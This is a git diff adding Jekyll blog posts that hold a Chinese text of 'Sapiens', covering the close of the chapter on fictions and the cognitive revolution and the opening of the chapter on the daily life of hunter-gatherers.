+所以，究竟阿尔芒·标致这个人是怎么创造出标致公司的？其实，这和史上许多祭司和巫师创造神魔的方式殊无二致，而且就算到了现在，许多天主教的教堂每次周日礼拜也是用这一套来创造出基督的身体。说穿了，就是讲故事，再说服听众相信这些故事。以神父主持礼拜为例，这里关键的故事就是天主教会所传颂的基督降生及死亡。根据这个故事，如果天主教神父穿着圣袍，庄重地在对的时间说出对的话语，再平凡不过的面包和葡萄酒，就会变成神的身体和血。神父大声宣告“Hoc est corpus meum!”（拉丁文的“这是我的身体”），一转眼，面包就成了基督的身体。而只要见到神父庄严神圣地遵守完成这些程序，数百万的虔诚天主教徒也会行礼如仪，好像上帝真的现身于这些变得神圣的面包和葡萄酒之中。 +至于对标致公司来说，关键的故事就是由法国国会所编写的法律制度。根据法国国会的说法，只要经过认证的律师遵守所有适当的礼仪和仪式，在一张装饰得华华丽丽的纸上写下种种必需的咒语和誓言，再在文件底端龙飞凤舞签上姓名，就在这一分这一秒，新公司注册成立！在1896年，阿尔芒·标致想开一家自己的公司，于是他雇了一位律师，好完成这些神圣的过程。等到律师正确执行了一切的仪式，宣告所有必要的咒语和誓言，千百万奉公守法的法国好公民也就表现得好像标致公司确实是个存在的实体一般。 +然而，要说出有效的故事，其实并不容易。难的点不在于讲故事，而在于要让人相信。于是，历史上也就不断围绕着这个问题打转：究竟某个人是如何说服数百万人去相信神、民族或是有限公司这些故事？然而，只要把故事说得成功，就会让智人拥有巨大的力量，因为这能使得数以百万计的陌生人合力行事，为了共同的目标而努力。想想看，如果我们的语言只能说些像是河流、树林或狮子之类真正存在的事物，要建立国家、教会或是法律制度可不是难上加难？ +* * * +多年来，人类已经编织出了一个极其复杂的故事网络。在这个网络中，像标致公司这种虚构的故事不仅存在，而且力量强大。这种通过故事创造的东西，用学术术语来说就称为“小说”、“社会建构”或者“想象的现实”。然而，所谓想象的现实并不是“谎话”。如果我知道附近的河里没有狮子，我却说有，这叫作谎话。但谎话其实没什么大不了的，像是青猴和黑猩猩也都会说谎。曾有科学家发现，有青猴在附近没有狮子的时候发出了“小心！有狮子！”的叫声，把附近另一只猴子吓跑，好独享某根它看到的香蕉。 +然而，所谓“想象的现实”指的是某件事人人都相信，而且只要这项共同的信念仍然存在，力量就足以影响世界。施泰德洞穴的艺术家可能真的相信有狮人守护灵的存在。虽然也有些巫师是骗子，但多半都是真诚相信有神与恶魔的存在。至于百万富翁，他们多数也是真诚地相信世界上有金钱和有限公司。而对于活跃的人权主义者来说，他们也多半真诚地相信人权的存在。虽然其实所谓联合国、利比亚和人权都只是我们想象出的概念，但在2011年，我们说联合国要求利比亚政府尊重其公民的人权，并没有人会认为这句话是谎言。 +从认知革命以来，智人一直就生活在一种双重的现实之中。一方面，我们有像是河流、树木和狮子这种确实存在的客观现实；而另一方面，我们也有像是神、国家和企业这种想象中的现实。随着时间过去，想象现实也日益强大；时至今日，河流、树木和狮子想要生存，有时候还得仰赖神、国家和企业这些想象现实行行好、放它们一马。 +绕过基因组的快速道路 +通过文字创造出想象的现实，就能让大批互不相识的人有效合作，而且效果还不只如此。正由于大规模的人类合作是以虚构的故事作为基础，只要改变所讲的故事，就能改变人类合作的方式。只要在对的情境之下，这些故事就能迅速改变。例如在1789年，法国人几乎是在一夕之间，相信的故事就从“天赋君权”转成“人民做主”。因此，自从认知革命之后，智人就能依据不断变化的需求迅速调整行为。这等于开启了一条采用“文化演化”的快速道路，而不再停留在“基因演化”这条总是堵车的道路上。走上这条快速道路之后，智人合作的能力一日千里，很快就远远甩掉了其他所有人类和动物物种。 +其他同样具有社会行为的动物，它们的行为有相当程度都是出于基因。但DNA并不是唯一的决定因素，其他因素还包括环境影响以及个体的特殊之处。然而，在特定的环境中，同一物种的动物也倾向表现出类似的行为模式。一般来说，如果没有发生基因突变，它们的社会行为就不会有显著的改变。举例来说，黑猩猩天生就会形成阶层井然的团体，由某个雄性首领领导。然而，倭黑猩猩（bonobo，与黑猩猩极为相似）的团体就较为平等，而且通常由雌性担任首领。雌黑猩猩无法向倭黑猩猩这种算是近亲的物种学习，发动一场女权主义革命。相较之下，雄性黑猩猩也不可能召开猩民大会推翻首领，再宣布从现在起所有黑猩猩生而平等。像这样的剧烈改变，对黑猩猩来说就只有DNA改变才可能发生。 +出于类似的原因，远古人类也没有什么革命性的改变。据我们所知，过去想要改变社会结构、发明新科技或是移居到新的地点，多半是因为基因突变、环境压力，而不常是因为文化的理由。正因如此，人类才得花上几十万年走到这一步。两百万年前，就是因为基因突变，才让“直立人”这种新的人类物种出现。而直立人出现后，也发展出新的石器技术，现在公认为是这个物种的定义特征。而只要直立人没有进一步的基因改变，他们的石器也就维持不变，就这样过了两百万年！ +与此相反的是，在认知革命之后，虽然智人的基因和环境都没什么改变，但智人还是能够迅速改变行为，并将新的行为方式传给下一代。最典型的例子，就是人类社会总会出现不生育的精英阶层，像是天主教的神父、佛教的高僧，还有中国的太监。这些精英阶层虽然手中握有权力，但却自愿放弃生育，于是他们的存在根本就直接抵触了自然选择的最大原则。看看黑猩猩，它们的雄性首领会无所不用其极，尽可能和所有母猩猩交配，这样才能让群体中多数的年轻猩猩都归自己所有——但天主教的首领却是选择完全禁欲、无子无女。而且，他们禁欲并不是因为环境因素，像是严重缺乏食物、严重缺少对象等等，也不是因为有了什么古怪的基因突变。天主教会至今已存在上千年，它靠的不是把什么“禁欲基因”从这个教宗传到下一个教宗，而是靠着把《圣经·新约》和教律所营造出的故事代代相传。 +换句话说，过去远古人类的行为模式可能维持几万年不变，但对现代智人来说，只要十几二十年，就可能改变整个社会结构、人际交往关系和经济活动。像是有一位曾住在柏林的老太太，她出生于1900年，总共活了100岁。她童年的时候，是活在腓特烈·威廉二世的霍亨佐伦帝国（Hohenzollern Empire）；等她成年，还经历了魏玛共和国、纳粹德国，还有民主德国（东德）；等到她过世的时候，则是统一后的德国的公民。虽然她的基因从未改变，她却经历过了五种非常不同的社会政治制度。 +这正是智人成功的关键。如果是一对一单挑，尼安德特人应该能把智人揍扁。但如果是上百人的对立，尼安德特人就绝无获胜的可能。尼安德特人虽然能够分享关于狮子在哪的信息，却大概没办法传颂（和改写）关于部落守护灵的故事。而一旦没有这种建构虚幻故事的能力，尼安德特人就无法有效大规模合作，也就无法因应快速改变的挑战，调整社会行为。 +虽然我们没办法进到尼安德特人的脑子里，搞清楚他们的思考方式，但我们还是有些间接证据，证明他们和竞争对手智人之间的认知能力差异与极限。考古学家在欧洲内陆挖掘3万年前的智人遗址，有时候会发现来自地中海和大西洋沿岸的贝壳。几乎可以确定，这些贝壳是因为不同智人部落之间的远距贸易，才传到了大陆内部。然而，尼安德特人的遗址就找不到任何此类贸易的证据，每个部落都只用自己当地的材料，制造出自己的工具。5 +另一个例子来自南太平洋。在新几内亚以北的新爱尔兰岛曾经住着一些智人，他们会使用一种叫作黑曜石的火山晶体，制造出特别坚硬且尖锐的工具。然而，新爱尔兰岛其实并不产黑曜石。化验结果显示，他们用的黑曜石来自超过400公里远的新不列颠岛。所以，这些岛上一定有某些居民是老练的水手，能够进行长距离的岛对岛交易。6 + +乍看之下，可能觉得贸易这件事再实际不过，并不需要什么虚构的故事当作基础。然而，事实就是所有动物只有智人能够进行贸易，而所有我们有详细证据证明存在的贸易网络都明显以虚构故事为基础。例如，如果没有信任，就不可能有贸易，而要相信陌生人又是件很困难的事。今天之所以能有全球贸易网络，正是因为我们相信着一些虚拟实体，像是美元、联邦储备银行，还有企业的商标。而在部落社会里，如果两个陌生人想要交易，往往也得先借助共同的神明、传说中的祖先或图腾动物建立信任。 +如果相信这些事的远古智人要交易贝壳和黑曜石，顺道交易一些信息应该也十分合理；这样一来，比起尼安德特人或其他远古人类物种，智人就有了更深更广的知识。 +从狩猎技术也能够看出尼安德特人和智人的差异。尼安德特人狩猎时通常是独自出猎，或是只有一小群人合作。但另一方面，智人就发展出了需要几十个人甚至不同部落合作的狩猎技巧。一种特别有效的方法，就是将野马之类的整个动物群给围起来，赶进某个狭窄的峡谷，这样很容易一网打尽。如果一切计划顺利进行，只要合作一个下午，这几个部落就能得到上吨的鲜肉、脂肪和兽皮，除了可以饱食一顿，也可以风干、烟熏或冰冻，留待日后使用。考古学家已经发现多处遗址，都曾用这种方式屠杀了整个兽群。甚至还有遗址发现了栅栏和障碍物，作为陷阱和屠宰场之用。 +我们可以想象，尼安德特人看到自己过去的猎场成了受智人控制的屠宰场，心里应该很不是滋味。然而，一旦这两个物种发生冲突，尼安德特人的情势可能不比野马好到哪去。尼安德特人可能会用他们传统的方式来合作，集结50人前往攻击智人，但创新而又灵活的智人却能集结起500人来同心协力，于是输赢早已预定。而且，就算智人输了第一战，他们也会快速找出新的策略，在下一战讨回来。 +认知革命有什么影响 +名称 新能力 更深远的影响 +河边有只狮子 能够传达更大量关于智人身边环境的信息 规划并执行复杂的计划，像是躲开狮子、猎捕野牛 +八卦 能够传达更大量关于智人社会关系的信息 组织更大、更有凝聚力的团体，规模可达150人 +虚构故事 能够传达关于虚构概念的信息，例如部落的守护神、国家、有限公司以及人权 1. 大量陌生人之间的合作 +2. 社会行为的快速创新 +历史和生物学 +智人发明出了许许多多的想象现实，也因而发展出许许多多的行为模式，而这正是我们所谓“文化”的主要成分。等到文化出现，就再也无法停止改变和发展，这些无法阻挡的变化，就成了我们说的“历史”。 +于是，认知革命正是历史从生物学中脱离而独立存在的起点。在这之前，所有人类的行为都只称得上是生物学的范畴，也有人喜欢称为“史前史”（但我倾向避免用这个词汇，因为这种说法暗示着即使在认知革命之前，人类也是自成一格，与其他动物不同）。认知革命之后，我们要解释智人的发展，依赖的主要工具就不再是生物学理论，而改用历史叙事。就像是如果要理解为何儒家或共产主义能在中国传播，光知道基因、荷尔蒙和有机体这些还不够，另外也得考虑到各种想法、图像和幻想的互动才行。 +然而，这并不代表智人从此就不再遵守生物法则。我们仍然是动物，我们的身体、情感和认知能力仍然是由DNA所形塑。而我们的社会建构其实也和尼安德特人或黑猩猩相同，我们越深入研究其中的成分（像是种种知觉、情感、家庭关系），就越会发现我们和其他猿类并没有太大的差异。 +然而，比较时不能光从个体或家庭的层次来比较。像是如果一对一，甚至十对十的时候，人类还是比不过黑猩猩。我们和黑猩猩的不同，是要在超过了150人的门槛之后才开始显现，而等这个数字到了一千或两千，差异就已经是天壤之别。如果我们把几千只黑猩猩放到纽约股票交易所、职业棒球赛场、国会山或是联合国总部，绝对会乱得一塌糊涂。但相较之下，我们智人在这些地方常常有数千人的集会。智人创造了秩序井然的模式，像是贸易网络、大规模庆祝活动、政治体制；而这些如果只有个人，是绝对做不到的。人类和黑猩猩之间真正不同的地方就在于那些虚构的故事，它像胶水一样把千千万万的个人、家庭和群体结合在一起。这种胶水，让我们成了万物的主宰。 +当然，人类还是需要其他技能，像是制造和使用工具。然而，光是制造工具的影响力还不够，制造工具之后还得结合众人之力才行。究竟为什么，我们现在有洲际弹道导弹，而3万年前还只有顶头带有燧石的矛？从那时候到现在，人类生理上制作工具的能力并没有显著改变。如果要爱因斯坦模拟远古人狩猎或采集的敏捷灵巧程度，前者还必定是远远不及。然而，我们和远古人类的不同处就在于与大量陌生人合作的技术有了大幅提升。远古要做出一把燧石矛，只要有一个人靠着几位亲近的朋友提供建议和协助，就能在几分钟内完成。但现代要做出导弹，需要全世界上百万个互不相识的人互相合作，有的是矿工，得开采位于地底深处的铀矿，还有的是理论物理学家，要写出长串的数学公式来描述亚原子粒子的互动。 +* * * +讲到认知革命之后生物学和历史的关系，我们可以简单整理成三点： +1. 基本上，生物学为智人的行为和能力设下了基本限制，像是定出了一个活动范围，而所有的历史都在这个范围之内发生。 +2. 然而，这个范围非常大，能让智人有各种惊人的发挥空间。因为他们有创造虚构故事的能力，就能创造出更多、更复杂的游戏，代代相传也就不断发展精进。 +3. 因此，想了解智人的行为，就必须描述人类行为的历史演化。光是考虑人类在生物上的限制，就像是今天要去播报一场足球世界杯赛事，只不断报道关于场地的信息，而对球员究竟做了什么只字不提。 +所以，在这个历史的活动场域中，我们在石器时代的祖先究竟做了什么事？据我们所知，3万年前刻出施泰德狮人的人类，无论身体、情感和智力能力都与我们类似。但他们一早起床先做什么？他们的早餐和午餐吃什么？他们的社会是怎样？他们也是一夫一妻、核心家庭吗？他们有没有什么庆典、道德准则、体育竞赛和宗教仪式？他们有战争吗？下一章就像是要从时间的帘幕后探头偷看一眼，看看从认知革命后到农业革命之间这几万年的生活情况。 +[1]　在此以及以下章节中，我们讲到智人的语言，指的是智人基本的语言能力，而不是特指某种语言或方言。可以说，不论是英文、印度文或中文，都是智人语言的一种变种。显然，就算是在认知革命刚发生的时候，不同的智人族群讲的就是不同的方言。——译者注 diff --git a/_posts/2017-01-06-195-sapiens-cp03.md b/_posts/2017-01-06-195-sapiens-cp03.md new file mode 100644 index 0000000..d8c6e28 --- /dev/null +++ b/_posts/2017-01-06-195-sapiens-cp03.md @@ -0,0 +1,90 @@ +--- +layout: post +title: 第三章亚当和夏娃的一天 +pid: 195 +tags: [人类简史：从动物到上帝] +--- +第三章 +亚当和夏娃的一天 +想要了解人类的天性、历史和心理，就得想办法回到那些狩猎采集的祖先头脑里面，看看他们的想法。在智人的历史上，他们绝大多数的时间都是靠采集为生。在过去两百年间，有越来越多智人的谋生方式是在城市里面劳动，整天坐办公桌前；而再之前的1万年，多数的智人则是务农或畜牧；但不论如何，比起先前几万年都在狩猎或采集，现代的谋生方式在历史上都只像是一瞬间的事罢了。 +演化心理学近来发展蓬勃，认为现在人类的各种社会和心理特征早从农业时代之前就已经开始形塑。这个领域的学者认为，即使到了现在，我们的大脑和心灵都还是以狩猎和采集的生活方式在思维。我们的饮食习惯、冲突和性欲之所以是现在的样貌，正是因为我们还保留着狩猎采集者的头脑，但所处的却是工业化之后的环境，像是有超级城市、飞机、电话和计算机。在这样的环境下，我们比前人享有更多物质资源，拥有更长的寿命，但又觉得疏离、沮丧而压力重重。演化心理学家认为，想理解背后的原因，我们就需要深入研究狩猎采集者的世界，因为那个世界其实现在还牢牢记在我们的潜意识里。 +举例来说，高热量食物对人不好，但为什么老是戒不掉？现今生活在富裕国家的人都有肥胖的问题，肥胖症几乎像瘟疫一样蔓延，还很快地将魔爪伸向发展中国家。如果我们不想想采集者祖先的饮食习惯，就很难解释为什么我们一碰到最甜、最油的食物就难以抵抗。当时他们住在草原上或森林里，高热量的甜食非常罕见，永远供不应求。如果是个3万年前的采集者，想吃甜食只有一种可能来源：熟透的水果。所以，如果石器时代的女性碰到一棵长满甜美无花果的树，最明智的做法就是立刻吃到吃不下为止，否则等到附近的狒狒也发现这棵树，可就一颗也吃不到了。于是，这种想大口吃下高热量食物的直觉本能就这样深植在我们的基因里。就算我们今天可能住在高楼大厦，家家户户的冰箱早就塞满食物，我们的DNA还记得那些在草原上的日子。正因如此，我们才会不知不觉就吃完一整桶的哈根达斯，可能还配着一大杯可口可乐。 +这种“贪吃基因”的理论已经得到广泛接受。至于其他理论，争议性就大得多。例如有些演化心理学家认为，古代的采集部落主要并不是由一夫一妻的核心家庭组成，而是一群人共同住在一起，没有私有财产，没有一夫一妻的婚姻关系，甚至没有父亲这种身份的概念。在这样的部落中，女性可以同时和几个男人（和女人）有性行为，形成亲密关系，而部落里的所有成年男女则是共同养育部落的小孩。正由于男人都没办法确定小孩是不是自己的，对所有孩子的教养也就不会有偏心的问题。 +这样的社会结构并不是什么新世纪的灵性乌托邦，很多动物都有这种社会结构，特别像是黑猩猩和倭黑猩猩这些我们的近亲更是如此。即使在今日，还是有些人类社会采用这种共同教养制，像是位于委内瑞拉的巴里印第安人（Bari Indians）社会，他们相信孩子不是生自某个特定男人的精子，而是妈妈子宫里所有累积精子的结合。所以，如果想当个好妈妈，你就该和好几个不同的男人做爱，特别是在怀孕的时候，就该找上那些最会打猎的、最会说故事的、最强壮的战士、最体贴的爱人，好让孩子拥有那些最好的特质（以及最佳的教养）。如果你觉得这听起来实在太蠢，请记得其实直到现代胚胎学研究发展之后，我们才有了确实的证据，证明孩子只可能有一个父亲。 +这种“远古公社”理论的支持者认为，我们看到现代婚姻常有不孕的困扰，离婚率居高不下，不论大人小孩都常有各种心理问题，其实都是因为现代社会逼迫所有人类采用一夫一妻的核心家庭，但这其实与我们的生物本能背道而驰。7 +许多学者强烈反对这种理论，坚持一夫一妻制和核心家庭就是人类的核心行为。这些学者主张，虽然古老的狩猎采集社会比起现代社会更为平等而共有共享，但还是由独立的单位组成，每个单位就是一对会嫉妒的情侣加上他们的孩子。也是因为如此，今天多数文化仍然采用一夫一妻的核心家庭，男男女女都对彼此和孩子有强烈的占有欲，而且像是朝鲜和叙利亚这些现代的国家，政治权力还是父死子继。 +想要解决这方面的争议，了解我们的性欲、社会和政治，就需要更了解我们祖先的生活条件，看看从7万年前的认知革命到12000年前的农业革命之间，智人究竟是怎么过生活的。 +* * * +但遗憾的是，我们对于那些采集者祖先的生活几乎没什么可确定的事实。无论是“远古公社”还是“不变的一夫一妻制”，我们都提不出确切的证明。在这些采集者的年代，我们显然不会有文字记录，而考古证据主要也只有骨骼化石和石器。如果器具用的是木头、竹子或皮革等等比较容易腐烂的材料，就只有在很特殊的情况下才可能保存得下来。很多人以为在农业革命前的人类都只使用石器，其实这是考古偏误造成的误解。所谓的石器时代，其实说是“木器时代”更精确，当时的狩猎采集工具多半还是木制。 +如果光从目前留下来的文物推断远古的狩猎采集生活，就会差之千里。远古的采集生活与后来的农业和工业生活相比，最明显的区别在于极少使用人造物品，而且这些物品对他们生活的作用相对并不大。在现代的富裕社会中，任何一般人一生都会用到数百万件人造物品，从车子、房子到抛弃式尿布和牛奶盒不一而足。不管任何的活动、信念甚至情感，几乎都会有人造物品介入。像在饮食方面，相关的人造品就多到难以胜数，从简单的汤匙和玻璃杯，到复杂的基因工程实验室和巨大的远洋渔船都参上一脚。至于玩乐也有大量的娱乐用物品，从怪兽卡到十万人的体育场都是如此。想要浪漫一下、云雨一场，又怎么能不提到戒指、床、漂亮的衣服、性感内衣、安全套、时尚餐厅、汽车旅馆、机场贵宾室、婚宴大厅、婚礼顾问公司？至于让我们灵性充溢、神圣非常的宗教，则有佛教的佛塔、道教的宫观、伊斯兰教的清真寺、印度教的僧院、装饰华美的经卷、色彩艳丽的法轮、祭司的祭袍、蜡烛、香、圣诞树、墓碑，还有金光闪闪的各种标示。 +除了要搬家的时候，我们几乎不会感觉到原来身边有这么多东西。采集者每个月、每个星期都要搬家，甚至有时候是每天都得搬，所有家当就背在身上。当时还没有搬家公司或货车，甚至连驮兽都还没有，所以他们必须把生活必需品减到最少。因此可以合理推测，他们的心理、宗教和感情生活多半不需要人造物品的协助。假设在10万年后，有个考古学家想知道现在的穆斯林的信仰和仪式，只要看看从清真寺遗迹里挖出的各种物品，就能有个大致合理准确的猜测。然而，我们想要理解远古狩猎采集者的信仰和仪式，却是难上加难。同样，如果未来有个历史学家想了解21世纪台湾年轻人的社交活动，靠的却只有纸本书信（因为所有的手机电话、电子邮件、博客、手机短信都不会以实体方式留存），可以想见他可能会遇上多大的问题。 +所以，想光靠现存的文物来了解远古狩猎采集生活，就是会有这种偏差。想解决这个问题，方法之一就是去研究目前尚存的采集社会。通过人类学观察，我们就能直接研究这些社会。然而，想从这些现代采集社会推论猜测远古采集社会的样貌，还是需要多加小心考虑。 +首先，所有能存活到近代的采集社会，都多少已经受到附近的农业或工业社会影响，因此很难假设现在的样子就和几万年前相同。 +其次，现代采集社会主要位于气候恶劣、地形险峻、不宜农业的地区，像是在非洲南部的卡拉哈里沙漠，就有一些社会已经适应了这种极端条件。但如果要用这些社会来推论当时像是在长江流域这种肥沃地段的部落，就会有严重的偏差。特别是像卡拉哈里沙漠的人口密度远低于远古时期的长江流域，这对于部落人口规模与结构等关键问题影响重大。 +再次，狩猎采集社会最显著的特点，就在于它们各有特色、大不相同。而且还不是说不同地区才有不同；即使在同一地区，仍然会是两两相异。一个很好的例子，就是欧洲人首次移居澳大利亚时，发现当地原住民之间有许多不同。在英国征服澳大利亚之前，整个澳大利亚大陆的狩猎采集者大约有30万到70万人，分成200~600个族群，每个族群又分成几个部落。8每个族群都有自己的语言、宗教、规范和习俗。像是在南澳阿德雷德附近，就有几个父系的家族，他们会依据所在领土为标准，结合成一个部落。相反的是，在北澳的一些部落则比较属于母系社会，而人在部落里的身份主要来自他的图腾，而不是他的领土。 +不难想象，到了农业革命前夕，地球上的狩猎采集者大约有500万到800万人，有丰富多元的种族和文化多样性，分成几千个不同的独立部落，也有数千种不同的语言和文化。9毕竟，语言和文化正是认知革命的主要成就。而正因为虚构故事已经出现，即使是在类似的生态、同样的基因组成下出现的人类，也能够创造出非常不同的想象现实，表现出来就成了不同的规范和价值观。 +例如，我们有充分的理由相信，两万年前住在现在北京的采集者，他说的语言会和住在现在天津的采集者大不相同。可能有某个部落比较好战，某个部落比较爱好和平。有可能在北京的部落采用共有共享，而在天津的部落则以核心家庭为基础。北京部落可能会花很长的时间把自己的守护灵刻成木像，而天津部落则是用舞蹈来敬拜守护灵。前者也许相信轮回，而后者则认为这是无稽之谈。在某个社会可能同性性关系没什么大不了，但在另一个社会就成了禁忌。 +换句话说，虽然用人类学方式观察现代的采集社会可以帮助我们了解一些远古采集社会的种种可能性，但这绝非全貌，而且可以说绝大多数仍不得而知。[2]有人激烈争辩智人的“自然生活方式”该是如何，其实并未说到重点。从认知革命之后，智人的“自然生活方式”从来就不止一种。真正存在的只有“文化选择”，而种种选择就像是调色盘，色彩缤纷炫目，令人眼花缭乱。 +原始的富裕社会 +但是，讲到农业革命前的世界，究竟有什么是我们能确定的普遍现象？或许可以确定地说，当时大部分的人都是活在小部落里，每个部落小则数十人，最大不过数百人，而且所有成员都是人类。最后一点似乎像是废话，但其实绝没那么简单。在农业和工业社会里，其实家禽家畜的数量会超过人类，虽然地位低于主人，但仍然就是社会中的一分子。像是今天的新西兰虽然智人人数有450万，但绵羊可是有高达5000万只。 +只不过，这个一般规则还是有一个例外：狗。狗是第一种由智人驯化的动物，而且早在农业革命之前便已发生。虽然专家对于确切的年代还有不同意见，但已有如山铁证显示，大约15000年前就已经有了家犬，而它们实际加入人类生活的时间还可能再往前推数千年。 +狗除了能狩猎、能战斗，还能作为警报系统，警告有野兽或人类入侵。时间一代一代过去，人和狗也一起演化，能和对方有良好的沟通。最能满足人类需求、最能体贴人类情感的狗，就能得到更多的照顾和食物，于是也更容易生存下来。同时，狗也学会了如何讨好人类，好满足它们的需求。经过这样长达15000年的相处，人和狗之间的理解和情感远超过人和其他动物的关系。10有些时候，甚至死去的狗也能得到厚葬，待遇与人类差堪比拟。 +图6 这是不是史上的第一只宠物？在以色列北部发掘出一座12000年前的墓穴[藏于史前人类博物馆（Kibbutz Ma’ayan Baruch Museum）]，里面有一具年约50岁女性的骨骸，旁边还有一副小狗的骨骸（右上角）。小狗埋葬的位置与女人的头部接近，而且她的左手搭在狗的身上，看起来似乎有着某种情感联系。当然这也有其他的解释方式，像是或许也能说，这只狗是一份礼物，要送给通往未来世界的看门人。 +同属一个部落的成员彼此相熟，人们终其一生都和亲友相处在一起，几乎没什么孤单的时刻，也没什么隐私。虽然邻近的部落偶尔也得争夺资源，甚至大打出手，但也是有些友好的往来。像是可能互相交换成员、一起打猎、交易罕见的奢侈品、结起政治同盟，还有一起庆祝宗教节日。这种合作是智人的一大重要特征，也是智人领先其他人类物种的关键优势。有时候，与邻近部落的关系实在太良好，最后就结合为一，而有了共同的语言、共同的神话、共同的规范和价值。 +然而，我们其实不该高估这种对外关系的重要性。就算邻近的几个部落在危急时刻可能会密切合作，甚至平常偶尔也会一起打猎或庆祝，但各个部落绝大多数时间仍然是完全各行其是、遗世独立。讲到交易，主要是限于拿来表示身份地位的物品，像是贝壳、琥珀、颜料等等。没有证据显示当时的人会交易像是水果或肉类之类的消费品，也看不出来有某个部落必须依赖从另一部落进口货物而生存的证据。至于社会政治关系，也同样只是零星有之。就算部落有季节性的集会场所，仍然称不上是个固定的政治框架，也没有永久的城镇或机构。一般来说，一个人很可能好几个月之间都只会看到自己部落里的人，一辈子会遇见的人数也不过就是几百个。智人就像星星一样，稀疏地散布在广阔的土地上。在农业革命之前，整个地球上的人类数量还比不上现在的杭州。 + +大多数智人部落不断迁移，随着季节变化、动物每年的迁移、植物的生长周期，人类也不断追逐着食物，从一地前往另一地。一般来说，他们是在同样一个区域里来来回回，面积大约是几十到几百平方公里。 +偶尔，可能是遇上自然灾害、暴力冲突、人口压力，又或是碰上某个特别有领袖魅力的首领，部落也可能走出自己原有的领土区域。这些流浪正是促成人类扩张到全球的动力。如果某个采集部落每40年拆伙一次，新部落往东移100公里，经过大约1万年后，就会从东非抵达中国。 +在某些特殊情况下，如果某地的食物来源特别丰富，原本因为季节而前来的部落也可能就此落脚，形成永久的聚落。另外，如果有了烘干、烟熏、冷冻（在北极地区）食品的技术，人们也可能在某地停留更久。最重要的是，在某些水产水禽丰富的海边和河边，人类开始建立起长期定居的渔村。这是历史上第一次出现定居聚落，时间要远早于农业革命。最早的渔村有可能是在45000年前，出现在印度尼西亚群岛的沿海地带。也很可能就是从这里，智人开始了第一次的跨海事业：前往澳大利亚。 +* * * +在大多数的居住地，智人部落的饮食都是见机行事，有什么吃什么。他们会抓白蚁、采野果、挖树根、追兔子，还会猎野牛和长毛象。虽然现在流行的讲法都把他们形容成猎人，但其实智人生活主要靠的是采集，这不仅是主要的热量来源，还能得到像是燧石、木材、竹子之类的原物料。 +智人采集的可不只是食物和原物料，同时还有“知识”。为了生存，智人需要对所在地了如指掌。而为了让日常采集食物的效率达到最高，他们也需要了解每种植物的生长模式，还有每种动物的生活习性。他们需要知道哪些食物比较营养，哪些有毒，哪些又能拿来治病。他们需要知道季节的变化，怎样代表着雷雨将至或是干旱将临。他们会细查附近的每条河流、每棵核桃树、每个睡了熊的洞穴还有每个燧石的矿床。每个人都得知道怎样做出一把石刀，如何修补裂开的斗篷，如何做出抓兔子的陷阱，还有该如何面对雪崩、蛇咬或是饥肠辘辘的狮子。这里面任何一种技能，都得花上好几年的指导和练习。一般来说，远古的采集者只要几分钟，就能用燧石做出一个矛头。但等到我们试着依样画葫芦，却常常是手忙脚乱、笨手笨脚。我们绝大多数的脑袋里都不知道燧石或玄武岩会怎样裂开，手也没有灵活到足以执行这项任务。 +换句话说，采集者对于他们周遭环境的了解，会比现代人更深、更广也更多样。现代的工业社会中，就算不太了解自然环境也能顺利存活。像是如果你是个计算机工程师、保险推销员、历史老师或是工厂工人，你真的需要了解自然环境吗？现代人必须专精于自身小领域的知识，但对于其他生活中的必需，绝大多数都是靠着其他各领域的专家，每个人懂的都只限于自己的那一小方天地。就整体而言，现今人类所知远超过远古人类。但在个人层面上，远古的采集者则是有史以来最具备多样知识和技能的人类。 +有证据显示，自从采集时代以来，智人的脑容量其实是逐渐减少！11要在那个时代活下来，每个人都必须有高超的心智能力。而等到农业和工业时代开展，人类开始能靠着别人的技能生存下来，就算是低能的人也开始有了生存空间。例如只要肯挑水或是当个生产线的工人，就能活下来，并把自己那些平庸无奇的基因传下去。 +采集者不只深深了解自己周遭的动物、植物和各种物品，也很了解自己的身体和感官世界。他们能够听到草丛中最细微的声响，知道里面是不是躲着一条蛇。他们会仔细观察树木的枝叶，找出果实、蜂窝和鸟巢。他们总是以最省力、最安静的方式行动，也知道怎样坐、怎样走、怎么跑才能最灵活、最有效率。他们不断以各种方式活动自己的身体，让他们就像马拉松选手一样精瘦。就算现代人练习再多年的瑜伽或太极，也不可能像他们的身体一样灵敏。 +* * * +狩猎采集的生活方式依地区、季节有所不同，但整体而言，比起后来的农夫、牧羊人、工人或上班族，他们的生活似乎要来得更舒适，也更有意义。 +在现代的富裕社会，平均每周的工时是40~45小时，发展中国家则是60甚至80小时；但如果是狩猎采集者，就算住在最贫瘠的地区（像是卡拉哈里沙漠），平均每周也只需要工作35~45小时。他们大概只需要每三天打猎一次，每天采集3~6小时。一般时期，这样就足以养活整个部落了。而很有可能大多数的远古采集者住的都是比卡拉哈里沙漠更肥沃的地方，所以取得食物和原物料所需的时间还要更少。最重要的是，这些采集者可没什么家事负担。他们不用洗碗，不用吸地毯，不用擦地板，不用换尿布，也没账单得付。 +这样的采集经济，能让大多数人都过着比在农业或工业社会中更有趣的生活。像是现在，如果在血汗工厂工作，每天早上大约7点就得出门，走过饱受污染的街道，进到工厂用同一种方式不停操作同一台机器，时间长达10小时，叫人心灵整个麻木。等到晚上7点回家，还得再洗碗、洗衣服。而在3万年前，如果是个采集者，可能是在大约早上8点离开部落，在附近的森林和草地上晃晃，采采蘑菇、挖挖根茎、抓抓青蛙，偶尔还得躲一下老虎。但等到中午过后，他们就可以回到部落煮午餐。接下来还有大把的时间，可以聊聊八卦、讲讲故事，跟孩子玩，或者就是放松放松。当然，有时候是会碰上老虎或蛇没错，但从另一方面来说，当时他们倒也不用担心车祸或工业污染。 +在大多数地方、大多数时候，靠着采集就已经能得到充分的营养。这其实很合理，毕竟这正是人类在先前数十万年间的正常饮食，人体早就完全适应而且适合。骨骼化石的证据显示，远古时期的采集者比较少有饥饿或营养不良的问题，而且比起后来的农业时代，他们身高较高，也比较健康。虽然平均寿命显然只有30~40岁，但这主要是因为当时儿童早夭的情形十分普遍。只要能活过危机四伏而意外频现的生命早期，当时的人就大多能活到60岁，有的甚至还能活到超过80岁。在现代的采集社会里，只要女性能活到45岁，大概再活个20年就不是问题，而总人口的5%~8%也都活到超过60岁。12 